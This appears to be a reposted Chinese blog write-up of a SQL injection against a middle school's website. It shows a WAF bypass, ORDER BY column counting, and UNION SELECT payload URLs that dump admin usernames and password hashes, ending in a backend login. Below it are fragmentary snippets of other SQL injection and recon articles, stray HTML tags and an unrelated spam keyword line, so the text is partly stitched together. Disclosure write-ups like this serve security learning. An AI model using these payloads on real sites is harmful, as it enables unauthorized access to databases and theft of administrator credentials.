<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一個有趣的SQL注入漏洞和繞過waf

    VSole2021-12-31 14:21:59
    前言:

    目標是一個中學的站點,在一次挖洞過程中遇到個sql注入,漏洞已報送平臺進行了修復。

    訪問url/gywm.asp?id=95%20and%201=1被攔截了

    Wts-waf我這里利用了此文章

    https://www.freebuf.com/articles/268726.html

    url/gywm.asp?id=95 +and+1=1的時候返回正常


    url/gywm.asp?id=95 +and+1=2時候返回空白頁面

    已確定存在sql注入漏洞;

    開始使用order by獲得表的列數

    訪問url/gywm.asp?id=95+order+by+19--+的時候頁面正常的;

    訪問: url/gywm.asp?id=95+order+by+20--+的時候頁面顯示500

    判斷出列數為19,此時我們可以通過union聯合查詢進行注入。

    Payload:url/gywm.asp?id=95+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin
    


    此時我們可知admin的位置

    此時我把猜出來的表和列名放在了3和10的位置, 這下就已拿到了這兩列名中的值。

    Payload: url/gywm.asp?id=95+union+select+1,2,username,4,5,6,7,8,9,userpass,11,12,13,14,15,16,17,18,19+from+admin
    

    然后把md5密碼解密后直接進去后臺滲透也到此結束

    sql注入注入漏洞
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    網上安全滲透測試工具整理全集,部分鏈接可能失效,但可以搜索到
    Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 淺入淺出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 滲透測試學習手冊 中文
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    概述在學習SQL注入之前,我們應先了解什么是SQL?原理SQL注入就是當開發人員對用戶輸入數據的合法性沒有判斷或過濾不嚴時,攻擊者通過拼接惡意SQL語句誘使解釋器在未經適當授權的情況下執行意外命令或訪問數據。
    在程序執行出錯時,不要顯示與內部實現相關的細節。直接對象引用使用的唯一標識可以通過隨機數生成以難以猜測。在進行頁面顯示或做處理之前對用戶權限進行檢查。
    SSJI - Node.js漏洞介紹
    2021-11-09 16:16:27
    ssji,為服務器端的javascript注入,可分為sql注入和代碼注入 運行于服務端的javascript常用的有node.js node.js 是運行于服務端的javascript 把javascript變為服務器端的腳本語言
    當我們輸入正確的手機號和正確的短信驗證碼,然后進入重置密碼的最后一步,也就是輸入新的密碼輸入密碼后提交到服務端的post數據包需要包含當前用戶的身份信息。修改響應包重置任意賬號密碼:通過手機找回密碼一般需要短信驗證碼驗證,服務端需要告訴客戶端,輸入的驗證碼是否正確。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类